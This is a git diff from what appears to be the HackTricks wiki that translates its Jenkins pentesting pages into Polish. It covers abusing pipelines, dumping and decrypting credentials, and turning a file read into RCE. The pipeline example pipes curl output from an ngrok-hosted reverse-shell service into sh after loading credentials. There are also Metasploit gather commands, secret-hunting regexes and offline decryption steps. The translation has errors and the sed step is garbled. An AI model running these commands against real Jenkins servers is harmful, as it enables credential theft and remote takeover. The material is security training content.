+Możliwe jest również **przechowywanie plików konfiguracyjnych pipeline w innych miejscach** (na przykład w innych repozytoriach) w celu **oddzielenia** dostępu do repozytorium i dostępu do pipeline.
-If an attacker have **write access over that file** he will be able to **modify** it and **potentially trigger** the pipeline without even having access to Jenkins.\
-It's possible that the attacker will need to **bypass some branch protections** (depending on the platform and the user privileges they could be bypassed or not).
+Jeśli atakujący ma **dostęp do zapisu w tym pliku**, będzie mógł **zmodyfikować** go i **potencjalnie uruchomić** pipeline bez nawet dostępu do Jenkins.\
+Możliwe, że atakujący będzie musiał **obejść niektóre zabezpieczenia gałęzi** (w zależności od platformy i uprawnień użytkownika mogą być one obejdź lub nie).
-The most common triggers to execute a custom pipeline are:
+Najczęstsze wyzwalacze do wykonania niestandardowego pipeline to:
-- **Pull request** to the main branch (or potentially to other branches)
-- **Push to the main branch** (or potentially to other branches)
-- **Update the main branch** and wait until it's executed somehow
+- **Pull request** do głównej gałęzi (lub potencjalnie do innych gałęzi)
+- **Push do głównej gałęzi** (lub potencjalnie do innych gałęzi)
+- **Aktualizacja głównej gałęzi** i czekanie, aż zostanie wykonana w jakiś sposób
> [!NOTE]
-> If you are an **external user** you shouldn't expect to create a **PR to the main branch** of the repo of **other user/organization** and **trigger the pipeline**... but if it's **bad configured** you could fully **compromise companies just by exploiting this**.
+> Jeśli jesteś **użytkownikiem zewnętrznym**, nie powinieneś oczekiwać, że stworzysz **PR do głównej gałęzi** repozytorium **innego użytkownika/organizacji** i **uruchomisz pipeline**... ale jeśli jest **źle skonfigurowany**, możesz całkowicie **skomprymować firmy, po prostu to wykorzystując**.
-### Pipeline RCE
+### RCE Pipeline
-In the previous RCE section it was already indicated a technique to [**get RCE modifying a pipeline**](./#rce-creating-modifying-pipeline).
+W poprzedniej sekcji RCE już wskazano technikę, aby [**uzyskać RCE, modyfikując pipeline**](./#rce-creating-modifying-pipeline).
-### Checking Env variables
-
-It's possible to declare **clear text env variables** for the whole pipeline or for specific stages. This env variables **shouldn't contain sensitive info**, but and attacker could always **check all the pipeline** configurations/Jenkinsfiles:
+### Sprawdzanie zmiennych środowiskowych
+Możliwe jest zadeklarowanie **zmiennych środowiskowych w postaci czystego tekstu** dla całego pipeline lub dla konkretnych etapów. Te zmienne środowiskowe **nie powinny zawierać wrażliwych informacji**, ale atakujący zawsze może **sprawdzić wszystkie konfiguracje pipeline/Jenkinsfiles:**
```bash
pipeline {
- agent {label 'built-in'}
- environment {
- GENERIC_ENV_VAR = "Test pipeline ENV variables."
- }
+agent {label 'built-in'}
+environment {
+GENERIC_ENV_VAR = "Test pipeline ENV variables."
+}
- stages {
- stage("Build") {
- environment {
- STAGE_ENV_VAR = "Test stage ENV variables."
- }
- steps {
+stages {
+stage("Build") {
+environment {
+STAGE_ENV_VAR = "Test stage ENV variables."
+}
+steps {
```
-
### Dumping secrets
-For information about how are secrets usually treated by Jenkins check out the basic information:
+Aby uzyskać informacje na temat tego, jak sekrety są zazwyczaj traktowane przez Jenkins, zapoznaj się z podstawowymi informacjami:
{{#ref}}
basic-jenkins-information.md
{{#endref}}
-Credentials can be **scoped to global providers** (`/credentials/`) or to **specific projects** (`/job//configure`). Therefore, in order to exfiltrate all of them you need to **compromise at least all the projects** that contains secrets and execute custom/poisoned pipelines.
-
-There is another problem, in order to get a **secret inside the env** of a pipeline you need to **know the name and type of the secret**. For example, you try lo **load** a **`usernamePassword`** **secret** as a **`string`** **secret** you will get this **error**:
+Poświadczenia mogą być **ograniczone do globalnych dostawców** (`/credentials/`) lub do **konkretnych projektów** (`/job//configure`). Dlatego, aby wyeksfiltrować wszystkie z nich, musisz **skompromitować przynajmniej wszystkie projekty**, które zawierają sekrety i wykonać niestandardowe/zepsute potoki.
+Jest jeszcze jeden problem, aby uzyskać **sekret wewnątrz env** potoku, musisz **znać nazwę i typ sekrety**. Na przykład, jeśli spróbujesz **załadować** **sekret** **`usernamePassword`** jako **`string`** **sekret**, otrzymasz ten **błąd**:
```
ERROR: Credentials 'flag2' is of type 'Username with password' where 'org.jenkinsci.plugins.plaincredentials.StringCredentials' was expected
```
-
-Here you have the way to load some common secret types:
-
+Oto sposób na załadowanie niektórych powszechnych typów sekretów:
```bash
withCredentials([usernamePassword(credentialsId: 'flag2', usernameVariable: 'USERNAME', passwordVariable: 'PASS')]) {
- sh '''
- env #Search for USERNAME and PASS
- '''
+sh '''
+env #Search for USERNAME and PASS
+'''
}
withCredentials([string(credentialsId: 'flag1', variable: 'SECRET')]) {
- sh '''
- env #Search for SECRET
- '''
+sh '''
+env #Search for SECRET
+'''
}
withCredentials([usernameColonPassword(credentialsId: 'mylogin', variable: 'USERPASS')]) {
- sh '''
- env # Search for USERPASS
- '''
+sh '''
+env # Search for USERPASS
+'''
}
# You can also load multiple env variables at once
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
- string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
- sh '''
- env
- '''
+string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
+sh '''
+env
+'''
}
```
-
-At the end of this page you can **find all the credential types**: [https://www.jenkins.io/doc/pipeline/steps/credentials-binding/](https://www.jenkins.io/doc/pipeline/steps/credentials-binding/)
+Na końcu tej strony możesz **znaleźć wszystkie typy poświadczeń**: [https://www.jenkins.io/doc/pipeline/steps/credentials-binding/](https://www.jenkins.io/doc/pipeline/steps/credentials-binding/)
> [!WARNING]
-> The best way to **dump all the secrets at once** is by **compromising** the **Jenkins** machine (running a reverse shell in the **built-in node** for example) and then **leaking** the **master keys** and the **encrypted secrets** and decrypting them offline.\
-> More on how to do this in the [Nodes & Agents section](./#nodes-and-agents) and in the [Post Exploitation section](./#post-exploitation).
+> Najlepszym sposobem na **zrzucenie wszystkich sekretów jednocześnie** jest **kompromitacja** maszyny **Jenkins** (na przykład uruchamiając reverse shell w **wbudowanym węźle**) i następnie **wyciek** **kluczy głównych** oraz **zaszyfrowanych sekretów** i odszyfrowanie ich offline.\
+> Więcej na ten temat w sekcji [Węzły i Agenci](./#nodes-and-agents) oraz w sekcji [Po Eksploatacji](./#post-exploitation).
-### Triggers
+### Wyzwalacze
-From [the docs](https://www.jenkins.io/doc/book/pipeline/syntax/#triggers): The `triggers` directive defines the **automated ways in which the Pipeline should be re-triggered**. For Pipelines which are integrated with a source such as GitHub or BitBucket, `triggers` may not be necessary as webhooks-based integration will likely already be present. The triggers currently available are `cron`, `pollSCM` and `upstream`.
-
-Cron example:
+Z [dokumentacji](https://www.jenkins.io/doc/book/pipeline/syntax/#triggers): Dyrektywa `triggers` definiuje **automatyczne sposoby, w jakie Pipeline powinien być ponownie wyzwalany**. Dla Pipeline'ów, które są zintegrowane z źródłem takim jak GitHub lub BitBucket, `triggers` mogą nie być konieczne, ponieważ integracja oparta na webhookach prawdopodobnie już istnieje. Obecnie dostępne wyzwalacze to `cron`, `pollSCM` i `upstream`.
+Przykład cron:
```bash
triggers { cron('H */4 * * 1-5') }
```
+Sprawdź **inne przykłady w dokumentacji**.
-Check **other examples in the docs**.
+### Węzły i Agenci
-### Nodes & Agents
+Instancja **Jenkins** może mieć **różne agenty działające na różnych maszynach**. Z perspektywy atakującego, dostęp do różnych maszyn oznacza **różne potencjalne dane uwierzytelniające do chmury** do kradzieży lub **różny dostęp do sieci**, który można wykorzystać do eksploatacji innych maszyn.
-A **Jenkins instance** might have **different agents running in different machines**. From an attacker perspective, access to different machines means **different potential cloud credentials** to steal or **different network access** that could be abuse to exploit other machines.
-
-For more information check the basic information:
+Aby uzyskać więcej informacji, sprawdź podstawowe informacje:
{{#ref}}
basic-jenkins-information.md
{{#endref}}
-You can enumerate the **configured nodes** in `/computer/`, you will usually find the \*\*`Built-In Node` \*\* (which is the node running Jenkins) and potentially more:
+Możesz wyliczyć **skonfigurowane węzły** w `/computer/`, zazwyczaj znajdziesz **`Wbudowany Węzeł`** (który jest węzłem uruchamiającym Jenkins) i potencjalnie więcej:
.png>)
-It is **specially interesting to compromise the Built-In node** because it contains sensitive Jenkins information.
-
-To indicate you want to **run** the **pipeline** in the **built-in Jenkins node** you can specify inside the pipeline the following config:
+Jest **szczególnie interesujące, aby skompromitować Wbudowany węzeł**, ponieważ zawiera wrażliwe informacje Jenkins.
+Aby wskazać, że chcesz **uruchomić** **pipeline** w **wbudowanym węźle Jenkins**, możesz określić w pipeline następującą konfigurację:
```bash
pipeline {
- agent {label 'built-in'}
+agent {label 'built-in'}
```
+### Pełny przykład
-### Complete example
-
-Pipeline in an specific agent, with a cron trigger, with pipeline and stage env variables, loading 2 variables in a step and sending a reverse shell:
-
+Pipeline w konkretnym agencie, z wyzwalaczem cron, z zmiennymi środowiskowymi pipeline i etapu, ładujący 2 zmienne w kroku i wysyłający reverse shell:
```bash
pipeline {
- agent {label 'built-in'}
- triggers { cron('H */4 * * 1-5') }
- environment {
- GENERIC_ENV_VAR = "Test pipeline ENV variables."
- }
+agent {label 'built-in'}
+triggers { cron('H */4 * * 1-5') }
+environment {
+GENERIC_ENV_VAR = "Test pipeline ENV variables."
+}
- stages {
- stage("Build") {
- environment {
- STAGE_ENV_VAR = "Test stage ENV variables."
- }
- steps {
- withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
- string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
- sh '''
- curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh PASS
- '''
- }
- }
- }
+stages {
+stage("Build") {
+environment {
+STAGE_ENV_VAR = "Test stage ENV variables."
+}
+steps {
+withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
+string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
+sh '''
+curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh PASS
+'''
+}
+}
+}
- post {
- always {
- cleanWs()
- }
- }
+post {
+always {
+cleanWs()
+}
+}
}
```
-
-## Arbitrary File Read to RCE
+## Odczyt dowolnego pliku do RCE
{{#ref}}
jenkins-arbitrary-file-read-to-rce-via-remember-me.md
@@ -326,19 +306,17 @@ jenkins-rce-creating-modifying-project.md
jenkins-rce-creating-modifying-pipeline.md
{{#endref}}
-## Post Exploitation
+## Po eksploatacji
### Metasploit
-
```
msf> post/multi/gather/jenkins_gather
```
-
### Jenkins Secrets
-You can list the secrets accessing `/credentials/` if you have enough permissions. Note that this will only list the secrets inside the `credentials.xml` file, but **build configuration files** might also have **more credentials**.
+Możesz wylistować sekrety, uzyskując dostęp do `/credentials/`, jeśli masz wystarczające uprawnienia. Zauważ, że to wylistuje tylko sekrety znajdujące się w pliku `credentials.xml`, ale **pliki konfiguracyjne budowy** mogą również zawierać **więcej poświadczeń**.
-If you can **see the configuration of each project**, you can also see in there the **names of the credentials (secrets)** being use to access the repository and **other credentials of the project**.
+Jeśli możesz **zobaczyć konfigurację każdego projektu**, możesz również zobaczyć tam **nazwy poświadczeń (sekretów)** używanych do uzyskania dostępu do repozytorium oraz **inne poświadczenia projektu**.
.png>)
@@ -350,19 +328,18 @@ jenkins-dumping-secrets-from-groovy.md
#### From disk
-These files are needed to **decrypt Jenkins secrets**:
+Te pliki są potrzebne do **odszyfrowania sekretów Jenkins**:
- secrets/master.key
- secrets/hudson.util.Secret
-Such **secrets can usually be found in**:
+Takie **sekrety można zazwyczaj znaleźć w**:
- credentials.xml
- jobs/.../build.xml
- jobs/.../config.xml
-Here's a regex to find them:
-
+Oto regex, aby je znaleźć:
```bash
# Find the secrets
grep -re "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"
@@ -372,11 +349,9 @@ grep -lre "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"
# Secret example
credentials.xml: {AQAAABAAAAAwsSbQDNcKIRQMjEMYYJeSIxi2d3MHmsfW3d1Y52KMOmZ9tLYyOzTSvNoTXdvHpx/kkEbRZS9OYoqzGsIFXtg7cw==}
```
-
#### Decrypt Jenkins secrets offline
-If you have dumped the **needed passwords to decrypt the secrets**, use [**this script**](https://github.com/gquere/pwn_jenkins/blob/master/offline_decryption/jenkins_offline_decrypt.py) **to decrypt those secrets**.
-
+Jeśli masz zrzutane **potrzebne hasła do odszyfrowania sekretów**, użyj [**tego skryptu**](https://github.com/gquere/pwn_jenkins/blob/master/offline_decryption/jenkins_offline_decrypt.py) **do odszyfrowania tych sekretów**.
```bash
python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml
06165DF2-C047-4402-8CAB-1C8EC526C115
@@ -384,23 +359,20 @@ python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAt985Hbb8KfIImS6dZlVG6swiotCiIlg/P7aME9PvZNUgg2Iyf2FT
```
-
-#### Decrypt Jenkins secrets from Groovy
-
+#### Odszyfrowanie sekretów Jenkins z Groovy
```bash
println(hudson.util.Secret.decrypt("{...}"))
```
+### Utwórz nowego użytkownika administratora
-### Create new admin user
+1. Uzyskaj dostęp do pliku Jenkins config.xml w `/var/lib/jenkins/config.xml` lub `C:\Program Files (x86)\Jenkins\`
+2. Wyszukaj słowo `true` i zmień słowo **`true`** na **`false`**.
+1. `sed -i -e 's/truefalsetrue` i **uruchom ponownie Jenkins**.
-1. Access the Jenkins config.xml file in `/var/lib/jenkins/config.xml` or `C:\Program Files (x86)\Jenkis\`
-2. Search for the word `true`and change the word \*\*`true` \*\* to **`false`**.
- 1. `sed -i -e 's/truefalsetrue` and **restart the Jenkins again**.
-
-## References
+## Odniesienia
- [https://github.com/gquere/pwn_jenkins](https://github.com/gquere/pwn_jenkins)
- [https://leonjza.github.io/blog/2015/05/27/jenkins-to-meterpreter---toying-with-powersploit/](https://leonjza.github.io/blog/2015/05/27/jenkins-to-meterpreter---toying-with-powersploit/)
@@ -410,7 +382,3 @@ println(hudson.util.Secret.decrypt("{...}"))
- [https://medium.com/@Proclus/tryhackme-internal-walk-through-90ec901926d3](https://medium.com/@Proclus/tryhackme-internal-walk-through-90ec901926d3)
{{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/jenkins-security/basic-jenkins-information.md b/src/pentesting-ci-cd/jenkins-security/basic-jenkins-information.md
index 6e62a8536..dc9c054ef 100644
--- a/src/pentesting-ci-cd/jenkins-security/basic-jenkins-information.md
+++ b/src/pentesting-ci-cd/jenkins-security/basic-jenkins-information.md
@@ -1,87 +1,87 @@
-# Basic Jenkins Information
+# Podstawowe informacje o Jenkinsie
{{#include ../../banners/hacktricks-training.md}}
-## Access
+## Dostęp
-### Username + Password
+### Nazwa użytkownika + Hasło
-The most common way to login in Jenkins if with a username or a password
+Najczęstszy sposób logowania do Jenkins to użycie nazwy użytkownika lub hasła.
### Cookie
-If an **authorized cookie gets stolen**, it ca be used to access the session of the user. The cookie is usually called `JSESSIONID.*`. (A user can terminate all his sessions, but he would need to find out first that a cookie was stolen).
+Jeśli **autoryzowane cookie zostanie skradzione**, może być użyte do uzyskania dostępu do sesji użytkownika. Cookie zazwyczaj nazywa się `JSESSIONID.*`. (Użytkownik może zakończyć wszystkie swoje sesje, ale najpierw musi się dowiedzieć, że cookie zostało skradzione).
-### SSO/Plugins
+### SSO/Wtyczki
-Jenkins can be configured using plugins to be **accessible via third party SSO**.
+Jenkins może być skonfigurowany za pomocą wtyczek, aby być **dostępnym przez zewnętrzne SSO**.
-### Tokens
+### Tokeny
-**Users can generate tokens** to give access to applications to impersonate them via CLI or REST API.
+**Użytkownicy mogą generować tokeny**, aby umożliwić aplikacjom podszywanie się pod nich za pomocą CLI lub REST API.
-### SSH Keys
+### Klucze SSH
-This component provides a built-in SSH server for Jenkins. It’s an alternative interface for the [Jenkins CLI](https://www.jenkins.io/doc/book/managing/cli/), and commands can be invoked this way using any SSH client. (From the [docs](https://plugins.jenkins.io/sshd/))
+Ten komponent zapewnia wbudowany serwer SSH dla Jenkins. Jest to alternatywne interfejs dla [Jenkins CLI](https://www.jenkins.io/doc/book/managing/cli/), a polecenia mogą być wywoływane w ten sposób za pomocą dowolnego klienta SSH. (Z [dokumentacji](https://plugins.jenkins.io/sshd/))
-## Authorization
+## Autoryzacja
-In `/configureSecurity` it's possible to **configure the authorization method of Jenkins**. There are several options:
+W `/configureSecurity` można **skonfigurować metodę autoryzacji Jenkins**. Istnieje kilka opcji:
-- **Anyone can do anything**: Even anonymous access can administrate the server
-- **Legacy mode**: Same as Jenkins <1.164. If you have the **"admin" role**, you'll be granted **full control** over the system, and **otherwise** (including **anonymous** users) you'll have **read** access.
-- **Logged-in users can do anything**: In this mode, every **logged-in user gets full control** of Jenkins. The only user who won't have full control is **anonymous user**, who only gets **read access**.
-- **Matrix-based security**: You can configure **who can do what** in a table. Each **column** represents a **permission**. Each **row** **represents** a **user or a group/role.** This includes a special user '**anonymous**', which represents **unauthenticated users**, as well as '**authenticated**', which represents **all authenticated users**.
+- **Każdy może robić cokolwiek**: Nawet dostęp anonimowy może administrować serwerem.
+- **Tryb dziedziczony**: Tak jak w Jenkins <1.164. Jeśli masz **rolę "admin"**, otrzymasz **pełną kontrolę** nad systemem, a **w przeciwnym razie** (w tym **użytkownicy anonimowi**) będziesz miał **dostęp do odczytu**.
+- **Zalogowani użytkownicy mogą robić cokolwiek**: W tym trybie każdy **zalogowany użytkownik ma pełną kontrolę** nad Jenkins. Jedynym użytkownikiem, który nie będzie miał pełnej kontroli, jest **użytkownik anonimowy**, który ma tylko **dostęp do odczytu**.
+- **Bezpieczeństwo oparte na macierzy**: Możesz skonfigurować **kto może robić co** w tabeli. Każda **kolumna** reprezentuje **uprawnienie**. Każdy **wiersz** **reprezentuje** **użytkownika lub grupę/rolę.** Obejmuje to specjalnego użytkownika '**anonimowy**', który reprezentuje **użytkowników nieautoryzowanych**, oraz '**autoryzowany**', który reprezentuje **wszystkich użytkowników autoryzowanych**.
.png>)
-- **Project-based Matrix Authorization Strategy:** This mode is an **extension** to "**Matrix-based security**" that allows additional ACL matrix to be **defined for each project separately.**
-- **Role-Based Strategy:** Enables defining authorizations using a **role-based strategy**. Manage the roles in `/role-strategy`.
+- **Strategia autoryzacji oparta na macierzy projektów:** Ten tryb jest **rozszerzeniem** do "**Bezpieczeństwa opartego na macierzy**", które pozwala na **zdefiniowanie dodatkowej macierzy ACL dla każdego projektu osobno.**
+- **Strategia oparta na rolach:** Umożliwia definiowanie autoryzacji za pomocą **strategii opartej na rolach**. Zarządzaj rolami w `/role-strategy`.
-## **Security Realm**
+## **Królestwo bezpieczeństwa**
-In `/configureSecurity` it's possible to **configure the security realm.** By default Jenkins includes support for a few different Security Realms:
+W `/configureSecurity` można **skonfigurować królestwo bezpieczeństwa.** Domyślnie Jenkins zawiera wsparcie dla kilku różnych Królestw Bezpieczeństwa:
-- **Delegate to servlet container**: For **delegating authentication a servlet container running the Jenkins controller**, such as [Jetty](https://www.eclipse.org/jetty/).
-- **Jenkins’ own user database:** Use **Jenkins’s own built-in user data store** for authentication instead of delegating to an external system. This is enabled by default.
-- **LDAP**: Delegate all authentication to a configured LDAP server, including both users and groups.
-- **Unix user/group database**: **Delegates the authentication to the underlying Unix** OS-level user database on the Jenkins controller. This mode will also allow re-use of Unix groups for authorization.
+- **Delegowanie do kontenera servletów**: Do **delegowania autoryzacji do kontenera servletów uruchamiającego kontroler Jenkins**, takiego jak [Jetty](https://www.eclipse.org/jetty/).
+- **Własna baza danych użytkowników Jenkins:** Użyj **wbudowanej bazy danych użytkowników Jenkins** do autoryzacji zamiast delegować do zewnętrznego systemu. Jest to włączone domyślnie.
+- **LDAP**: Deleguj całą autoryzację do skonfigurowanego serwera LDAP, w tym zarówno użytkowników, jak i grupy.
+- **Baza danych użytkowników/grup Unix**: **Deleguje autoryzację do podstawowej bazy danych użytkowników Unix** na kontrolerze Jenkins. Ten tryb pozwoli również na ponowne wykorzystanie grup Unix do autoryzacji.
-Plugins can provide additional security realms which may be useful for incorporating Jenkins into existing identity systems, such as:
+Wtyczki mogą dostarczać dodatkowe królestwa bezpieczeństwa, które mogą być przydatne do włączenia Jenkins w istniejące systemy tożsamości, takie jak:
- [Active Directory](https://plugins.jenkins.io/active-directory)
- [GitHub Authentication](https://plugins.jenkins.io/github-oauth)
- [Atlassian Crowd 2](https://plugins.jenkins.io/crowd2)
-## Jenkins Nodes, Agents & Executors
+## Węzły, agenci i wykonawcy Jenkins
-Definitions from the [docs](https://www.jenkins.io/doc/book/managing/nodes/):
+Definicje z [dokumentacji](https://www.jenkins.io/doc/book/managing/nodes/):
-**Nodes** are the **machines** on which build **agents run**. Jenkins monitors each attached node for disk space, free temp space, free swap, clock time/sync and response time. A node is taken offline if any of these values go outside the configured threshold.
+**Węzły** to **maszyny**, na których działają **agenci budowy**. Jenkins monitoruje każdy podłączony węzeł pod kątem miejsca na dysku, wolnego miejsca tymczasowego, wolnej pamięci wymiany, czasu zegara/synchronizacji i czasu odpowiedzi. Węzeł jest wyłączany, jeśli którakolwiek z tych wartości przekroczy skonfigurowany próg.
-**Agents** **manage** the **task execution** on behalf of the Jenkins controller by **using executors**. An agent can use any operating system that supports Java. Tools required for builds and tests are installed on the node where the agent runs; they can **be installed directly or in a container** (Docker or Kubernetes). Each **agent is effectively a process with its own PID** on the host machine.
+**Agenci** **zarządzają** **wykonywaniem zadań** w imieniu kontrolera Jenkins, **używając wykonawców**. Agent może używać dowolnego systemu operacyjnego, który obsługuje Javę. Narzędzia wymagane do budowy i testów są instalowane na węźle, na którym działa agent; mogą **być zainstalowane bezpośrednio lub w kontenerze** (Docker lub Kubernetes). Każdy **agent jest w rzeczywistości procesem z własnym PID** na maszynie gospodarza.
-An **executor** is a **slot for execution of tasks**; effectively, it is **a thread in the agent**. The **number of executors** on a node defines the number of **concurrent tasks** that can be executed on that node at one time. In other words, this determines the **number of concurrent Pipeline `stages`** that can execute on that node at one time.
+**Wykonawca** to **miejsce do wykonywania zadań**; w rzeczywistości jest to **wątek w agencie**. **Liczba wykonawców** na węźle definiuje liczbę **równoległych zadań**, które mogą być wykonywane na tym węźle w danym momencie. Innymi słowy, określa to **liczbę równoległych `etapów` Pipeline**, które mogą być wykonywane na tym węźle w danym momencie.
-## Jenkins Secrets
+## Sekrety Jenkins
-### Encryption of Secrets and Credentials
+### Szyfrowanie sekretów i poświadczeń
-Definition from the [docs](https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials): Jenkins uses **AES to encrypt and protect secrets**, credentials, and their respective encryption keys. These encryption keys are stored in `$JENKINS_HOME/secrets/` along with the master key used to protect said keys. This directory should be configured so that only the operating system user the Jenkins controller is running as has read and write access to this directory (i.e., a `chmod` value of `0700` or using appropriate file attributes). The **master key** (sometimes referred to as a "key encryption key" in cryptojargon) is **stored \_unencrypted**\_ on the Jenkins controller filesystem in **`$JENKINS_HOME/secrets/master.key`** which does not protect against attackers with direct access to that file. Most users and developers will use these encryption keys indirectly via either the [Secret](https://javadoc.jenkins.io/byShortName/Secret) API for encrypting generic secret data or through the credentials API. For the cryptocurious, Jenkins uses AES in cipher block chaining (CBC) mode with PKCS#5 padding and random IVs to encrypt instances of [CryptoConfidentialKey](https://javadoc.jenkins.io/byShortName/CryptoConfidentialKey) which are stored in `$JENKINS_HOME/secrets/` with a filename corresponding to their `CryptoConfidentialKey` id. Common key ids include:
+Definicja z [dokumentacji](https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials): Jenkins używa **AES do szyfrowania i ochrony sekretów**, poświadczeń i ich odpowiednich kluczy szyfrujących. Te klucze szyfrujące są przechowywane w `$JENKINS_HOME/secrets/` wraz z kluczem głównym używanym do ochrony tych kluczy. Ten katalog powinien być skonfigurowany tak, aby tylko użytkownik systemu operacyjnego, na którym działa kontroler Jenkins, miał dostęp do odczytu i zapisu do tego katalogu (tj. wartość `chmod` wynosząca `0700` lub używając odpowiednich atrybutów plików). **Klucz główny** (czasami nazywany "kluczem szyfrującym" w kryptologii) jest **przechowywany \_nieszyfrowany**\_ w systemie plików kontrolera Jenkins w **`$JENKINS_HOME/secrets/master.key`**, co nie chroni przed atakującymi mającymi bezpośredni dostęp do tego pliku. Większość użytkowników i deweloperów będzie używać tych kluczy szyfrujących pośrednio za pomocą API [Secret](https://javadoc.jenkins.io/byShortName/Secret) do szyfrowania ogólnych danych sekretów lub przez API poświadczeń. Dla ciekawskich kryptograficznie, Jenkins używa AES w trybie łańcucha bloków szyfrujących (CBC) z paddingiem PKCS#5 i losowymi IV do szyfrowania instancji [CryptoConfidentialKey](https://javadoc.jenkins.io/byShortName/CryptoConfidentialKey), które są przechowywane w `$JENKINS_HOME/secrets/` z nazwą pliku odpowiadającą ich identyfikatorowi `CryptoConfidentialKey`. Powszechne identyfikatory kluczy obejmują:
-- `hudson.util.Secret`: used for generic secrets;
-- `com.cloudbees.plugins.credentials.SecretBytes.KEY`: used for some credentials types;
-- `jenkins.model.Jenkins.crumbSalt`: used by the [CSRF protection mechanism](https://www.jenkins.io/doc/book/managing/security/#cross-site-request-forgery); and
+- `hudson.util.Secret`: używany do ogólnych sekretów;
+- `com.cloudbees.plugins.credentials.SecretBytes.KEY`: używany dla niektórych typów poświadczeń;
+- `jenkins.model.Jenkins.crumbSalt`: używany przez [mechanizm ochrony CSRF](https://www.jenkins.io/doc/book/managing/security/#cross-site-request-forgery); oraz
-### Credentials Access
+### Dostęp do poświadczeń
-Credentials can be **scoped to global providers** (`/credentials/`) that can be accessed by any project configured, or can be scoped to **specific projects** (`/job//configure`) and therefore only accessible from the specific project.
+Poświadczenia mogą być **ograniczone do globalnych dostawców** (`/credentials/`), które mogą być dostępne przez dowolny skonfigurowany projekt, lub mogą być ograniczone do **konkretnych projektów** (`/job//configure`) i dlatego dostępne tylko z konkretnego projektu.
-According to [**the docs**](https://www.jenkins.io/blog/2019/02/21/credentials-masking/): Credentials that are in scope are made available to the pipeline without limitation. To **prevent accidental exposure in the build log**, credentials are **masked** from regular output, so an invocation of `env` (Linux) or `set` (Windows), or programs printing their environment or parameters would **not reveal them in the build log** to users who would not otherwise have access to the credentials.
+Zgodnie z [**dokumentacją**](https://www.jenkins.io/blog/2019/02/21/credentials-masking/): Poświadczenia, które są w zakresie, są udostępniane pipeline'owi bez ograniczeń. Aby **zapobiec przypadkowemu ujawnieniu w logu budowy**, poświadczenia są **ukrywane** przed regularnym wyjściem, więc wywołanie `env` (Linux) lub `set` (Windows), lub programy drukujące swoje środowisko lub parametry **nie ujawnią ich w logu budowy** użytkownikom, którzy w przeciwnym razie nie mieliby dostępu do poświadczeń.
-**That is why in order to exfiltrate the credentials an attacker needs to, for example, base64 them.**
+**Dlatego, aby wyeksportować poświadczenia, atakujący musi na przykład zakodować je w base64.**
-## References
+## Odnośniki
- [https://www.jenkins.io/doc/book/security/managing-security/](https://www.jenkins.io/doc/book/security/managing-security/)
- [https://www.jenkins.io/doc/book/managing/nodes/](https://www.jenkins.io/doc/book/managing/nodes/)
@@ -92,7 +92,3 @@ According to [**the docs**](https://www.jenkins.io/blog/2019/02/21/credentials-m
- [https://www.jenkins.io/doc/book/managing/nodes/](https://www.jenkins.io/doc/book/managing/nodes/)
{{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-arbitrary-file-read-to-rce-via-remember-me.md b/src/pentesting-ci-cd/jenkins-security/jenkins-arbitrary-file-read-to-rce-via-remember-me.md
index 9d2b232e1..010964e63 100644
--- a/src/pentesting-ci-cd/jenkins-security/jenkins-arbitrary-file-read-to-rce-via-remember-me.md
+++ b/src/pentesting-ci-cd/jenkins-security/jenkins-arbitrary-file-read-to-rce-via-remember-me.md
@@ -2,108 +2,104 @@
{{#include ../../banners/hacktricks-training.md}}
-In this blog post is possible to find a great way to transform a Local File Inclusion vulnerability in Jenkins into RCE: [https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/](https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/)
+W tym wpisie na blogu można znaleźć świetny sposób na przekształcenie podatności Local File Inclusion w Jenkins w RCE: [https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/](https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/)
-This is an AI created summary of the part of the post were the creaft of an arbitrary cookie is abused to get RCE abusing a local file read until I have time to create a summary on my own:
+To jest podsumowanie stworzone przez AI części wpisu, w której nadużycie arbitralnego ciasteczka jest wykorzystywane do uzyskania RCE, nadużywając lokalnego odczytu pliku, aż będę miał czas, aby stworzyć własne podsumowanie:
-### Attack Prerequisites
+### Wymagania wstępne ataku
-- **Feature Requirement:** "Remember me" must be enabled (default setting).
-- **Access Levels:** Attacker needs Overall/Read permissions.
-- **Secret Access:** Ability to read both binary and textual content from key files.
+- **Wymaganie funkcji:** "Zapamiętaj mnie" musi być włączone (domyślne ustawienie).
+- **Poziomy dostępu:** Atakujący potrzebuje uprawnień Overall/Read.
+- **Dostęp do sekretów:** Możliwość odczytu zarówno zawartości binarnej, jak i tekstowej z kluczowych plików.
-### Detailed Exploitation Process
+### Szczegółowy proces eksploatacji
-#### Step 1: Data Collection
+#### Krok 1: Zbieranie danych
-**User Information Retrieval**
+**Pobieranie informacji o użytkowniku**
-- Access user configuration and secrets from `$JENKINS_HOME/users/*.xml` for each user to gather:
- - **Username**
- - **User seed**
- - **Timestamp**
- - **Password hash**
+- Uzyskaj konfigurację użytkownika i sekrety z `$JENKINS_HOME/users/*.xml` dla każdego użytkownika, aby zebrać:
+- **Nazwa użytkownika**
+- **Ziarno użytkownika**
+- **Znacznik czasu**
